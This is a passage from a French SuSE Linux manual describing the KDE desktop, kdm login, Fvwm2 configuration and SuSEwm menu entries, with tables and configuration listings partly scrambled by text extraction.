Environment''. Il est le projet d'un groupe de développeurs qui depuis sa création en automne 1996 ne cesse de s'accroître. En plus de son propre gestionnaire de fenêtres (kwm ), KDE offre aussi, comme élément central, un navigateur WEB gestionnaire de fichiers (kfm ), un système d'aide global (kdehelp ) qui s'appuie sur des documents HTML, des pages de man et des pages d'infos GNU. Il met aussi à disposition un très grand nombre d'applications plus ou moins étendues dont on a besoin pour le travail quotidien (par exemple programme de messagerie, lecteur de news, jeux, outils d'information système etc.). KDE est entièrement basé sur les + URL et les + MIME. Cela signifie que toutes les spécifications de chemins d'accès et les références aux fichiers sont transmises et traitées dans un format unifié avec indication du type de fichier et des protocoles de transmission (par exemple sous forme de référence à une page HTLM dans le système de fichiers local, à une page d'aide ou à un serveur FTP). Il est en outre défini, au moyen des ``types de MIME'', quels programmes peuvent lire quels fichiers. Il est ainsi possible, indépendamment du type et de la source des données, de lire celles-ci par un clic de souris et, le cas échéant, de les modifier. L'utilisateur peut en outre réaliser bon nombre de choses par la méthode ``glisser/déposer'' (angl. drag & drop), par exemple copier un fichier depuis un serveur FTP vers le système local. Le système d'aide de KDE constitue encore un point en plus. Les auteurs d'applications KDE sont tenus de fournir au système d'aide KDE leur docu- mentation de programmes en HTLM. En plus des pages HTLM du système d'aide ~ qui peut être invoqué depuis la plupart des programmes au moyen du bouton `Aide' ~ KDE vous propose aussi, sous forme de documents hy- pertextes, des pages de man UNIX et même des pages d'infos GNU dans lesquelles vous pouvez ``butiner'' aisément. La possibilité de configurer les applications écrites sous KDE et même KDE lui-même de façon simple et homogène à l'aide d'un menu et de placer des icônes sur le bureau vient encore s'ajouter à la liste déjà longue de toutes les caractéristiques attrayantes de KDE. _______________________________________________________________________________________________________________________|| |||||||| KDE est développé à l'aide des widgets QT. De même que Motif, QT est ||| | |||||||| une sorte de bibliothèque utilisée pour l'élaboration de programmes orien- || | |||||||| || | |||||||| tés interface sous le système X Window. Il convient toutefois d'observer || | |||||||| les termes de la licence QT divergente de la GPL (/usr/doc/packages/ || | |||||||| || | |||||||| qt/LICENSE). || | ||||||||_______________________________________________________________________________________________________________||_ * * 271 9. Le gestionnaire_de_fenêtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________* *_______________________________________@ 9.2.1 Généralités KDE est installé par défaut dans le répertoire /opt/kde. Tous les fichiers ayant un rôle à jouer dans KDE se trouvent dans une arborescence de réper- toires située au dessous de ce chemin d'accès. Pour qu'il soit plus facile de parvenir à ce chemin, la variable d'environnement KDEDIR est positionnée, au niveau système, dans le fichier /etc/profile. Après installation des pa- quetages KDE, le répertoire /opt/kde/bin est automatiquement placé dans le chemin d'accès (PATH) pour fichiers exécutables. L'arborescence des répertoires KDE comprend de nombreux sous-répertoires dont seuls les plus importants sont décrits dans le tableau 9.1. ________________________________________________________________________________________________________* *________ /opt/kde/bin tous les programmes KDE (fichiers exécu- tables) /opt/kde/share/config fichiers de configuration au niveau sys- tème /opt/kde/share/applnk liens de programmes (menu) /opt/kde/share/apps fichiers concernant les programmes KDE /opt/kde/share/doc les aides en ligne /usr/doc/packages/kde informations complémentaires sur KDE ________________________________________________________________________________________________________* *________ Tab. 9.1: KDE ~ répertoires importants Tous ceux qui dédaignent la souris trouveront dans le tableau 9.2 des combi- naisons de touches qui leur seront utiles. ________________________________________________________________________________________________________* *________ |____ ___ ____A|lt+_|F___|1_ Le menu K est ouvert. |____A|lt+ |F___|2 Un champ d'entrée à usage uni- versel est ouvert. Vous pouvez ici spécifier des URL, des ré- pertoires locaux ou des pro- grammes/commandes |_____|Alt+ |F___|_3 La fenêtre est fermée. |____ ____ ____A|lt+ |T____a|b Vous pouvez ici basculer entre les fenêtres du bureau actuel. |_______|Ctrl+ |E_____|sc Il apparaît une vue d'ensemble de la session avec affichage des fenêtres de tous les bureaux |_______|Ctrl+ |F___|_1: :|:___|_F8 Basculer entre les bureaux de 1 à 8. ________________________________________________________________________________________________________* *________ Tab. 9.2: KDE ~ combinaisons de touches importantes 272 ________________________________________________________________________9.2.__L'environnement_de_bureau_KDE_________________* *______________________ 9.2.2 kdm ~ login graphique Le gestionnaire d'écran KDM , qui accompagne les paquetages KDE, consti- tue une extension précieuse à tout système Linux auquel l'utilisateur se connecte en mode graphique. la figure 9.6 vous montre la configuration par défaut de KDM sous SuSE Linux. Fig. 9.6: Le gestionnaire d'écran kdm Avec les différents boutons, vous pouvez sélectionner le gestionnaire de fe- nêtres (`Type de session') que vous souhaitez utiliser ou la langue du menu (`Langue'). Une caractéristique intéressante, particulièrement pour or- dinateurs monopostes, est la possibilité d'arrêter la machine à l'aide du bou- ton `Shutdown' pour l'éteindre ensuite. Voir le paragraphe 19.2 page 483. KDM offre diverses possibilités de configuration. Il peut être configuré soit directement au moyen d'un fichier de configuration /opt/kde/share/ config/kdmrc soit à l'aide d'un dialogue de configuration à partir du menu KDE. Sous SuSE Linux, il est également possible de configurer les gestion- naires de fenêtres accessibles et de lancer KDM très aisément avec YaST . Voir le paragraphe 3.6.5 page 109. Pour cela, il est nécessaire de positionner dans le fichier de configuration /etc/rc.config les deux variables DISPLAYMANAGER et KDM_SHUTDOWN . Ces variables sont décrites à la page 460. Les valeurs de ces variables sont insérées par SuSEconfig dans le fichier /opt/kde/share/config/kdmrc et sont disponibles lors du prochain lan- cement de KDM ; redémarrez le cas échéant avec la combinaison de touches Ctrl |||||||||___+ |A_____|lt+ | _____|7. !Au cas où vous auriez configuré KDM pendant l'exécu- tion du système KDE et au moyen du centre de contrôle KDE, les variables provenant de /etc/rc.config ne seront pas insérées automatiquement afin d'éviter que vos modifications soient effacées. Mais si vous voulez faire réa- liser votre configuration au moyen de /etc/rc.config, il est indispensable de renommer le fichier SuSEconfig.kdm toujours créé par SuSEconfig.kdm * * 273 9. Le gestionnaire_de_fenêtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________* *_______________________________________@ en lui donnant le nom kdmrc2 . Le fichier kdmrc sera alors nouvellement créé à chaque fois. 9.2.3 Que possède donc KDE de si sensationnel ? Après avoir pu nous connecter confortablement en mode graphique à l'aide de KDM , nous pensons qu'il est temps de nous pencher sur les particularités de KDE. Nous allons donc décrire tout simplement ce qui se passe après l'ouverture de la session (ou après le lancement de startx ). Quelques instants après votre première ouverture de session, vous voyez ap- paraître des boîtes de dialogue qui vous font savoir qu'il manque différents fichiers et répertoires. Ce n'est pas une erreur mais quelque chose de lo- gique. KDE crée en effet ~ sur le modèle de l'arborescence sous /opt/ kde (tableau 9.1 page 272) ~ quelques répertoires et fichiers de configura- tion dans votre répertoire personnel. Ce sont les répertoires HOME/.kde et HOME/Desktop. Le premier répertoire sert à stocker les fichiers de configu- ration des différentes applications KDE et le deuxième à stocker des liens. Vous pouvez,_en toute bonne conscience, valider le dialogue mentionné, soit avec |_____-|, soit à l'aide de la souris. Ensuite kfm (K FileManager) est lancé. kfm est un élément absolument fon- damental de KDE. Ainsi que nous l'avons déjà dit au début de ce paragraphe, kfm peut manipuler des types très divers de fichiers puisque le traitement des noms de fichiers se fait par le biais des URL. Que l'on copie un fichier comme archive depuis le serveur FTP (préfixe URL htp:) ou comme fichier (préfixe URL file:), qu'il s'agisse d'une page de man (préfixe URL man:), d'une page d'infos GNU (préfixe URL info:) ou d'une page HTLM provenant d'un serveur WWW (préfixe URL info:), tout est traité et représenté de la même manière par KDE. Il est même possible de visualiser des images de différents formats à l'aide d'un visualiseur externe. La figure 9.7 nous montre une fenêtre kfm typique. Fig. 9.7: Le gestionnaire de fichiers kfm Pour l'utilisateur, ces fonctions deviennent très vite quelque chose qui va de soi tout comme la simple copie de fichiers par un clic de souris. Nous tenons _____________________________________________2 Les deux fichiers se trouvent dans le répertoire /opt/kde/share/config 274 ________________________________________________________________________9.2.__L'environnement_de_bureau_KDE_________________* *______________________ à mentionner ici qu'il suffit de cliquer avec le bouton droit de la souris sur une icône de fichier pour ouvrir un menu qui offre différentes possibilités de manipuler ce fichier, par exemple de déterminer ses propriétés ou celles du programme. Les propriétés d'un programme, par exemple les paramètres avec lesquels il est lancé, l'icône qui le symbolise sur le bureau et d'autres choses encore sont insérés dans un fichier avec l'extension .kdelnk. La modification des propriétés se fait par le biais d'un dialogue semblable à celui de la figure 9.8. Ce fichier est disponible sous forme d'un fichier ASCII éditable. Les fichiers qui se trouvent par exemple dans ~/Desktop ou (au niveau système) dans /opt/kde/share/applnk valent la peine qu'on y jette un coup d'oeil. Ils sont symbolisés par les icônes représentées sur le bureau ou dans le menu. Ils ont un format unifié tout comme les autres fichiers de configuration KDE. Fig. 9.8: Le dialogue sur les propriétés Le dernier programme qui est lancé est généralement la barre de menus KPanel . Vous trouverez dans cette barre de menus les éléments de commande nécessaires pour les différents écrans virtuels ainsi qu'un menu spécial (celui avec un `K' majuscule) dans lequel se trouvent toutes les entrées de menus KDE disponibles au niveau système (voir les fichiers kdelnk!). Vous trou- * * 275 9. Le gestionnaire_de_fenêtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________* *_______________________________________@ verez aussi dans ce menu la configuration du système KDE effectuée à l'aide du centre de contrôle KDE (figure 9.9) et celle de KPanel . Fig. 9.9: Le centre de contrôle Mais KPanel ne s'arrête pas là. Non seulement il est possible de placer par la méthode ``glisser/déposer'' des icônes sur la barre de menus et de démarrer à partir de là des applications, mais KPanel peut aussi ``avaler'' des programmes en cours d'exécution. Les candidats possibles sont par exemple klipper (plu- sieurs tampons pour ``couper/coller'') ou korn qui affiche le nombre de mails qui se trouvent dans un fichier déterminé. Ils tournent alors au sein de KPanel et sont ainsi ~ ce qui est essentiel ~ visibles sur tous les bureaux. Une énumération de tous les programmes KDE nous mènerait sûrement trop loin et serait d'ailleurs presque impossible en raison de l'offre qui ne cesse de s'accroître et de se modifier. Comme l'un des objectifs de l'équipe KDE est de faciliter l'utilisation des ordinateurs, vous devriez tirer profit de cette offre en parcourant le menu et en donnant un coup d'oeil à l'un ou à l'autre des programmes. Une aide pour la plupart des programmes vous est proposée par kdehelp que vous pouvez facilement lancer à partir du menu que vous faites surgir par un clic du bouton droit de la souris sur le fond d'écran (sans parler des autres caractéristiques intéressantes de ce menu !) Gardez toutefois présent à l'esprit que plusieurs des paquetages KDE que nous vous fournissons sont encore au stade ALPHA. Cela signifie qu'ils peuvent être instables, ne pas être implémentés complètement et qu'il peut se passer des choses étranges. Mais en général il ne se produit rien de plus qu'un plantage du programme qui rend nécessaire un nouveau démarrage. 276 __________________________________________________________________________________________________________________9.3.__Fvwm* *______________________ Le projet KDE met à votre disposition quelques listes de diffusion sur son site (http://www.kde.org). Le serveur fournit un très grand nombre d'informa- tions sur KDE, sur ses objectifs et sur l'avancement de son développement. Pour terminer, nous attirons votre attention sur notre serveur FTP sur le- quel vous trouverez, sous ftp://ftp.suse.com/pub/SuSE-Linux/suse_ update/KDE des paquetages KDE qui ont été spécialement adaptés à SuSE Linux. Vous pourrez, avec YaST , intégrer facilement ces paquetages dans votre système. Lisez aussi la documentation se rapportant à l'installation et à l'utilisation de KDE dans votre SuSE Linux. 9.3 Fvwm Généralités Nous allons maintenant évoquer Fvwm2 (fvwm2 ). C'est l'un des gestion- naires de fenêtres qui ouvrent le plus de perspectives sous Linux et qui conti- nue encore à produire des rejetons ~ tout dernièrement Scwm (scwm ). Outre ses fonctions habituelles pour la gestion des fenêtres et de leur décora- tion, il offre des menus d'arrière-plan et des sous-programmes pouvant être chargés en cours d'exécution du système et mettant à disposition certaines fonctions intéressantes telles que par exemple une barre de boutons. Vous trouverez des informations complémentaires sur l'appel et la confi- guration de Fvwm et de ses modules dans les pages de man qui s'y rap- portent (page de man de fvwm2 (man fvwm2 ), page de man de FvwmAudio (man FvwmAudio ), page de man de FvwmButtons (man FvwmButtons ), etc.) ou dans le répertoire documentation /usr/doc/packages/fvwm dans lequel on trouve aussi les fichiers de configuration exemples fournis avec le paquetage. Si vous ne voulez pas écrire un fichier de configuration en partant de zéro, vous pouvez en faire dresser la ``charpente'' par SuSEwm et la modifier selon vos désirs. SuSEwm est décrit au paragraphe 9.5 page 282. Fichiers de configuration de Fvwm Il est possible de configurer Fvwm au moyen de deux fichiers : ~ Un fichier de configuration au niveau système qui devrait toujours être présent. Ce fichier est situé dans le répertoire /usr/X11R6/lib/X11/ fvwm2 sous le nom .fvwm2rc. ~ Un fichier propre à l'utilisateur qui n'est pas absolument indispensable. Il s'appelle aussi ~/.fvwm2rc et se trouve dans le répertoire personnel de l'utilisateur concerné. Le paquetage susewm ~ que nous décrirons au paragraphe 9.5 page 282 ~ garantit qu'un fichier de configuration sera toujours créé au niveau système pour Fvwm lors de l'installation d'un système SuSE Linux. Fvwm lit les fichiers de configuration lorsqu'il démarre. Un gestionnaire de fenêtres est lancé à partir du fichier /usr/X11R6/lib/X11/xinit/xinitrc ou du fichier ~/.xinitrc. Pour cela, la variable WINDOWMANAGER devrait * * 277 9. Le gestionnaire_de_fenêtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________* *_______________________________________@ être positionnée avec le nom complet du fichier exécutable du gestionnaire de fenêtres concerné, par exemple /usr/X11R6/bin/fvwm. Voir aussi la page 270. Il tente d'abord de lire le fichier de configuration appartenant à l'utilisateur et ensuite, si un tel fichier n'existe pas, le fichier de configuration spécifique au système. Les différents modules de Fvwm lisent également les mêmes fichiers de confi- guration lorsqu'ils sont appelés. Il n'utilisent cependant que les parties du fichier de configuration qui se rapportent directement au module concerné. Il est bien sûr recommandé à chaque utilisateur de créer son propre fichier de configuration qu'il pourra modifier à son gré. Après avoir modifié les fichiers de configuration, il est indispensable de redé- marrer le gestionnaire de fenêtres afin que les modifications soient prises en compte. Pour le redémarrage du gestionnaire de fenêtres, il existe (dans la configura- tion SuSE préinstallée) une entrée dans le `Menu de travail' qui contient le sous-menu `Gestionnaire de fenêtres'. L'arrêt et le redémarrage du serveur X produit le même effet. 9.4 Configuration de Fvwm Généralités Parlons maintenant de votre fichier de configuration Fvwm personnel. Vous devez bien sûr en avoir déjà créé un. Cette procédure est décrite à la page 284. Vous pouvez non seulement générer ce fichier à l'aide de susewm mais aussi reprendre le fichier de configuration ~/.fvwm2rc du répertoire /usr/doc/ packages/fvwm/system.fvwm2rc fourni par les programmeurs de Fvwm. Chargez avec votre éditeur favori le fichier ~/.fvwm2rc. Nous allons ensuite voir de plus près quelques possibilités de configuration. Que se passe-t-il au démarrage de Fvwm ? Continuez à ``feuilleter'' pour arriver au commentaire du fichier 9.4.1 ________________________________________________________________________________________________________* *________ | ######################################################### * * | | * * | | # # * * | | # initialization function head # * * | | * * | | # common to all wms # * * | | # # * * | | ######################################################### * * | |_______________________________________________________________________________________________________* *________ | fichier 9.4.1: InitFunction dans le fichier ~/.fvwm2rc À la suite de cela, vous trouverez toutes les actions exécutées lors du redé- marrage de Fvwm. Le module FvwmBanner est chargé (le logo), plusieurs xterm sont lancés et un xpmroot est appelé. Ce programme sert à mettre des images en arrière-plan (dans la fenêtre racine). Vous pouvez utiliser ici tous les programmes capables d'élaborer l'image d'arrière-plan (par exemple xse- troot , xearth , xv , etc.). 278 _______________________________________________________________________________________9.4.__Configuration_de_Fvwm__________* *______________________ Citons encore un exemple avec le programme xv : + "I" Exec xv -quit -root -owncmap -maxpect ~/pics/bild13.png Vous devrez encore spécifier l'image d'arrière-plan lors des actions exécutées au cours du lancement de Fvwm. Cela signifie que vous devrez intégrer ces actions dans RestartFunction . Vous les trouverez dans le fichier 9.4.2. _______________________________________________________________________________________________________________________ |||||||| ######################################################### | |||||||| | |||||||| # # | |||||||| # restart function # | |||||||| | |||||||| # common to all wms # | |||||||| # # | |||||||| ######################################################### | ||||||||_______________________________________________________________________________________________________________ | fichier 9.4.2: InitFunction dans le fichier ~/.fvwm2rc Souvent InitFunction et RestartFunction ont une très grande ressem- blance, elles ont d'ailleurs toutes les deux quelque chose à voir dans le démar- rage du gestionnaire de fenêtres. Mais dans RestartFunction , on renonce en général à lancer le drapeau du gestionnaire de fenêtres. Il existe, en plus de InitFunction et RestartFunction , une ExitFunction . Comme son nom peut le laisser supposer, il s'agit d'une fonction de ``nettoyage'' dans laquelle on spécifie les programmes à lancer avant de redémarrer le gestion- naire de fenêtres ou avant de le quitter. Il est ainsi possible d'effacer l'image d'arrière-plan avant que le redémarrage du gestionnaire de fenêtres provoque le lancement d'une nouvelle image. Couleurs et polices Les paramètres concernant les couleurs et les polices se trouvent dans le fichier 9.4.3. _______________________________________________________________________________________________________________________|| |||||||| ######################################################### | |||||||| # # | |||||||| | |||||||| # colors and fonts # | |||||||| # # | |||||||| ######################################################### | ||||||||_______________________________________________________________________________________________________________ | fichier 9.4.3: Configuration des couleurs et polices de caractères dans le fi- chier ~/.fvwm2rc Vous pouvez ici vous en donner à coeur joie. Choisissez les couleurs qui vous plaisent le mieux. Vous pouvez prendre toutes celles qui sont installées. Les couleurs installées dépendent surtout de votre carte graphique. Cliquez avec le bouton droit de la souris et allez dans le menu `System'. De là, vous passerez au menu `Information'. Vers la fin, vous verrez une entrée `XColors'. Activez-la et vous verrez apparaître une fenêtre avec une palette de toutes les couleurs connues du système. Vous pourrez en sélectionner une. Les noms des couleurs se trouvent dans le fichier /usr/X11R6/lib/X11/rgb.txt Un peu plus bas, vous découvrirez des lignes ayant cet aspect : WindowFont -misc-fixed-bold-r-normal-*-13-*-75-75-c-80-iso8859-1 * * 279 9. Le gestionnaire_de_fenêtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________* *_______________________________________@ C'est la désignation systématique d'une police (angl. font) dans le système X Window. Chaque police est désignée de cette manière. Il conviendrait ici de donner quelques explications sur les éléments qui composent les noms mais cela pourrait mener très loin. Pour ne pas rendre les choses trop dif- ficiles à superviser, nous dirons simplement qu'il existe toute une série de surnoms (angl. alias) pour ces polices. Les jeux de caractères se trouvent ha- bituellement dans le répertoire /usr/X11R6/lib/X11/fonts. Chacun des sous-répertoires abrite un fichier fonts.alias qui contient les abréviations en usage pour les différentes polices : variable -*-helvetica-bold-r-normal-*-*-120-*-*-*-*-iso8859-1 5x7 -misc-fixed-medium-r-normal--7-70-75-75-c-50-iso8859-1 Ces noms sont déjà plus faciles à retenir. Icônes Dans l'environnement que nous donnons en exemple, il est question des icônes (voir fichier 9.4.4). ________________________________________________________________________________________________________* *________|| | # * * | | # others * * | | # * * | | * * | | * * | | Style "xterm" Icon Terminal.xpm * * | | Style "xosview" NoTitle, Sticky * * | | Style "xosview" UsePPosition * * | |_______________________________________________________________________________________________________* *________ | fichier 9.4.4: Icônes pour certaines fenêtres Vous pouvez attribuer ici une icône à vos différentes applications. Vous de- vez seulement tenir compte du fait que l'icône doit aussi se trouver dans IconPath qui est placé vers le début du fichier ~/.fvwm2rc. Vous pouvez en principe utiliser toute icône qui se trouve dans l'un des chemins d'accès mentionnés après PixmapPath . Pour toutes les icônes provenant d'un répertoire qui n'est pas situé dans ce chemin, vous devrez spécifier le chemin complet. Supposons que vous vouliez attribuer à ghostview un fantôme comme icône. Regardez sous le chemin et vous trouverez une icône du nom de ghostbusters.xpm. Ajouter la ligne suivante à la section : Style "ghostview" Icon ghostbusters.xpm Maintenant c'est fait. Vous pouvez de la même manière attribuer des icônes à presque toutes les applications. La plupart des applications possèdent déjà leur icône standard. Vous devez absolument connaître le vrai nom de l'appli- cation (plus exactement le nom de la fenêtre de l'application) car un xTerm à la place d'un xterm ne donnerait aucun résultat. On découvre le nom d'une fenêtre en appelant, à partir du menu (`Window Manager' ! `Modules'), le module `Ident' (nom de programme FvwmIdent ) et en cliquant sur la fenêtre correspondante. 280 _______________________________________________________________________________________9.4.__Configuration_de_Fvwm__________* *______________________ Curseur La forme et l'aspect du curseur sont également modifiables. On se sert pour cela du programme xsetroot qui peut aussi, dans une certaine limite, être utilisé pour insérer une image d'arrière-plan. Il est appelé par la commande : tux@terre: > xsetroot -cursor La variable désigne ici n'importe quel bitmap. De fa- çon standard, les bitmaps sont situés sous /usr/X11R6/include/X11/ bitmaps. Vous pouvez choisir celui qui vous convient ou en créer un vous- même, par exemple avec bitmap . Focus Une caractéristique particulièrement appréciée que possède la famille des gestionnaires de fenêtres Fvwm est la possibilité qu'il donne de déterminer, en cours d'exécution, le comportement des fenêtres lors du changement de la fenêtre active. Outre la modification du temps d'exécution, on peut aussi paramétrer de façon permanente le comportement du focus et de l'élévation (angl. raising) dans le fichier de configuration. Par focus, on désigne la propriété du gestionnaire de fenêtres de transmettre les entrées actuelles et les clics de souris à une fenêtre déterminée. Il existe trois possibilités : ~ On doit cliquer sur une fenêtre pour pouvoir par exemple transmettre des entrées clavier au processus en cours d'exécution dans cette fenêtre. Ceci s'appelle en anglais click to focus et se retrouve aussi, de façon standard sous Windows ou OS/2. ~ Avec le pointeur de la souris, on parcourt la surface d'une fenêtre et celle- ci possède automatiquement le focus. Ceci est désigné par l'expression focus follows mouse. Si le pointeur de la souris quitte la fenêtre, même si ce n'est pas pour passer à une autre fenêtre mais pour rester sur le fond d'écran, le focus quitte aussi la fenêtre qui le possédait encore jusque là. ~ Pour Fvwm et Fvwm95, il existe une variante plus poussée qui est le com- portement configurable sloppy focus. Le focus a alors le même compor- tement que focus follows mouse, à cette différence près qu'il reste dans la fenêtre activée aussi longtemps qu'on n'active pas une autre fenêtre. Cela signifie que le focus reste dans la fenêtre activée même lorsque le pointeur de la souris se trouve sur le fond d'écran. Avec Fvwm, on peut déterminer le comportement du focus individuellement pour chaque fenêtre. Comme pour beaucoup d'autres configurations, ceci s'obtient par une commande Style : Style "*" ClickToFocus Cela détermine la stratégie ClickToFocus pour toutes les fenêtres. On peut faire la même chose pour les paramètres SloppyFocus et FocusFollowsMouse , ce dernier étant prévu par défaut pour Fvwm. * * 281 9. Le gestionnaire_de_fenêtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________* *_______________________________________@ 9.4.1 Auto-élévation Tout comme le focus, le comportement d'élévation, c'est-à-dire la mise en avant-plan d'une fenêtre, joue un rôle important. Une fenêtre conserve tou- jours par défaut une position relative par rapport aux autres fenêtres (elle se trouve devant ou derrière) jusqu'à ce qu'elle soit placée en avant-plan par un clic sur la bordure ou la barre de titres. Mais de nombreux utilisateurs sont habitués à ce qu'une fenêtre apparaisse en avant-plan lorsqu'ils la parcourent avec la souris. On appelle ce comporte- ment auto-élévation (angl. autoraising). Il n'a toutefois de sens que conjointe- ment à FocusFollowsMouse ou SloppyFocus . Avec ClickToFocus (confi- guration par défaut de Fvwm95) il ne produit aucun effet. Pour pouvoir utiliser la fonction d'auto-élévation, on peut lancer le module AutoRaise de Fvwm à partir du menu (`Window Manager', `Modules', `AutoRaise On/Off'). Afin que la fonction d'auto-élévation soit dispo- nible en permanence, le fichier de configuration de Fvwm2 (~/.fvwm2rc) doit contenir respectivement une entrée dans les fonctions InitFunction et RestartFunction : Function InitFunction + "I" Module FvwmAuto 200 Function RestartFunction + "I" Module FvwmAuto 200 La valeur 200 indique, en millièmes de seconde, le délai après lequel une fenêtre est amenée en avant-plan. Ce délai est nécessaire car autrement chaque fenêtre ``touchée'' viendrait immédiatement vers la haut ce qui provoquerait un continuel scintillement :-) 9.5 Configuration du gestionnaire de fenêtres avec SuSEwm Qu'est-ce que SuSEwm ? Le programme SuSEwm ~ inclus dans le paquetage susewm ~ simplifie la mise en oeuvre des gestionnaires de fenêtres Fvwm1 , Fvwm , Fvwm95 , Bowman , AfterStep , Ctwm , WindowMaker , Mwm 3 ainsi que l'utilisation des bureaux de KDE et du projet GNOME . Comme Fvwm1, Fvwm, Fvwm95, Bowman et AfterStep sont basés sur le même gestionnaire de fenêtres, ils sont configurés tous les cinq de la même manière et présentent aussi les mêmes caractéristiques. Il existe cependant quelques différences, parfois considérables, lors de la configuration. Afin que l'utilisateur puisse bénéficier des avantages communs à ces gestionnaires de fenêtres sans avoir à gérer cinq fichiers de configura- tion, SuSEwm homogénéise le plus possible leur configuration en utilisant un langage macro abstrait. Et mieux encore. Même les gestionnaires de fenêtres Ctwm , Mwm , Window- Maker , le kpanel de l'environnement de bureau KDE et le panel de l'environ- _____________________________________________3 Le gestionnaire de fenêtres Mwm fait partie intégrante du produit commercial Metrolink Motif. Dans le paquetage lesstif, vous trouverez une version libre. 282 _____________________________________9.5.__Configuration_du_gestionnaire_de_fenêtres_avec_SuSEwm____________________________* *______________________ nement de bureau GNOME, qui sont absolument différents, sont également configurés avec susewm . Cette configuration ne s'étend toutefois qu'aux me- nus générés automatiquement. Les menus pour ces gestionnaires de fenêtres ne peuvent pas être générés à partir du menu (par exemple dans Fvwm ) mais sont toujours créés par SuSEconfig au niveau système. Il peut être tenu compte des différences de configuration par des instructions (angl. statements) spécifiques à chacun des gestionnaires de fenêtres. Avec SuSEwm , les menus ou le cas échéant les modules supportés par le gestionnaire de fenêtres sont configurés en fonction des paquetages logiciels effectivement installés : Il n'est pas créé d'entrée de menu pour les paquetages non installés. SuSEwm présente d'autres fonctions particulières qui sont : ~ Configuration des gestionnnaires de fenêtres ou bureaux suivants : Fvwm1 , Fvwm , Fvwm95 , Bowman , AfterStep , Ctwm , Mwm , Win- dowMaker , GNOME Panel et KDE Panel . ~ Un répertoire central de bibliothèques pour tous les gestionnaires de fe- nêtres, des macros homogènes pour les différents fichiers de configura- tion. ~ Des fichiers de configuration supplémentaires pour les différents gestion- naires de fenêtres permettant de tenir compte de leur particularités respec- tives. ~ Prise en compte de fichiers de configuration supplémentaires pour les ges- tionnaires de fenêtres. Il est en outre tenu compte, lors de la configura- tion dans l'ensemble du système, de variables contenues dans /etc/rc. config. ~ Prise en compte de fichiers sources pour un utilisateur défini (dans son répertoire personnel) lors de la configuration automatique. ~ Création de fichiers de configuration spécifiques à l'utilisateur en tenant compte dans une très large mesure des modifications qu'il a faites (aux anciens fichiers de configuration). ~ Intégration, lors de la création des menus, de programmes commerciaux répandus qui ne font pas partie de la distribution SuSE Linux. ~ Basculement aisé entre les gestionnaires de fenêtres supportés pendant l'exécution du système sans qu'il soit nécessaire de modifier les scripts de démarrage tels que par exemple ~/.xinitrc, pour autant que le ges- tionnaire de fenêtres le permette. 9.5.1 Ajouter des entrées au menu Si vous voulez ajouter des entrées au menu SuSE , vous devez créer des fi- chiers ainsi que le montre le fichier 9.5.1 page suivante Ici, les entrées pour Name[ : : : ] et Exec sont particulièrement importantes. Les autres entrées sont optionnelles. Si vous inscrivez Type=TEXT , tous les programmes tourneront dans un terminal. Afin que l'entrée puisse être générée, le fichier doit avoir le nom suivant : ..lnk . La variable doit être rempla- * * 283 9. Le gestionnaire_de_fenêtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|| | Name=PrinterNom[fr]=Imprimante * * | ||Comment=Show all printers * * || | Commentaire[fr]=Montrer toutes les imprimantes. * * | | Exec=klp * * | | * * | | MiniIcon=printer.xpm * * | | Icon=printer.xpm * * | | Type=Application * * | |_______________________________________________________________________________________________________* *________ | fichier 9.5.1: fichier .lnk de SuSEwm pour entrées de menu cée par le nom du paquetage RPM qui contient le programme concerné. Dans le cas où vous n'auriez pas installé le programme à partir d'un pa- quetage RPM, vous pouvez inscrire par exemple . Vous pouvez remplacer par une valeur de votre choix qui peut être, par exemple, le nom du programme à exécuter. Le nom du fichier devrait en outre se ter- miner par .lnk et vous devez stocker ce fichier dans un répertoire situé au dessous de /etc/X11/susewm/AddEntrys. L'entrée sera alors faite dans un sous-menu qui dépendra du répertoire dans lequel vous aurez stocké le fichier. Quand et comment utiliser SuSEwm ? SuSEwm est normalement lancé par YaST après l'installation de paquetages et adapte toutes les configurations valables dans l'ensemble du système. Il existe 2 cas dans lesquels vous utilisez SuSEwm : ~ Vous ne possédez pas encore votre propre fichier de configuration pour l'un des gestionnaires de fenêtres mentionnés. Vous désirez cependant avoir un tel fichier pour vous créer un environnement de travail personna- lisé indépendant de l'environnement du système. ~ Vous avez déjà un fichier de configuration de gestionnaires de fenêtres mais vous avez installé ou désinstallé des logiciels avec YaST et les me- nus n'ont pas été actualisés. Conditions Les conditions suivantes doivent être remplies : ~ Vous vous êtes connecté au système comme utilisateur normal (tel que l'utilisateur exemple défini lors de l'installation avec YaST ) en non pas en tant qu'utilisateur `root'. Un exemple Un bureau riche en couleurs est une belle chose, mais à quoi cela vous sert-il si votre matériel (mémoire, processeur, disque dur) n'est pas assez performant ? Un gestionnaire de fenêtres ne devrait quand même pas accaparer toutes les ressources du système en faisant un usage excessif d'icônes et en les animant de façon tout aussi excessive. Nous allons donc vous dire ce que vous pouvez faire si vous avez l'impression que votre machine est trop lente au lancement de Fvwm ou de Fvwm95 . Cette lenteur est probablement due à plusieurs centaines d'icônes qui doivent être 284 _____________________________________9.5.__Configuration_du_gestionnaire_de_fenêtres_avec_SuSEwm____________________________* *______________________ chargées les unes après les autres. Vous avez trois méthodes pour remédier à cette situation : ~ Positionnez avec YaST (`Administration du système' ! `Modi- fier le fichier de configuration' la variable SUSEWM_XPM=no . Au cas où vous auriez modifié la variable ci-dessus directement dans le fichier /etc/rc.config, n'oubliez pas de lancer ensuite SuSEconfig . ~ Désinstallez le paquetage 3dpixms et, si vous ne voulez pas non plus de grandes icônes, le paquetage 3dpixm. ~ Supprimez les icônes dans le fichier de configuration. Il ne semble pas nécessaire de commenter plus longuement la première mé- thode. La deuxième méthode est tout aussi simple : lancez YaST , désinstallez les pa- quetages mentionnés plus haut et mettez-vous à l'aise. YaST veille, conjoin- tement à SuSEwm et à SuSEconfig , à ce que le fichier de configuration du gestionnaire de fenêtres soit modifié dans ce sens. Si vous avez un fichier de configuration personnel, vous devez explicitement le faire mettre à jour : utili- sez le menu gestionnaire de fenêtres comme il est décrit à la page précédente et pages suivantes. La troisième méthode : Si vous n'avez pas encore de fichier de configuration personnel, vous pouvez vous en faire ``mijoter'' un selon la recette décrite au paragraphe 9.5.1 page 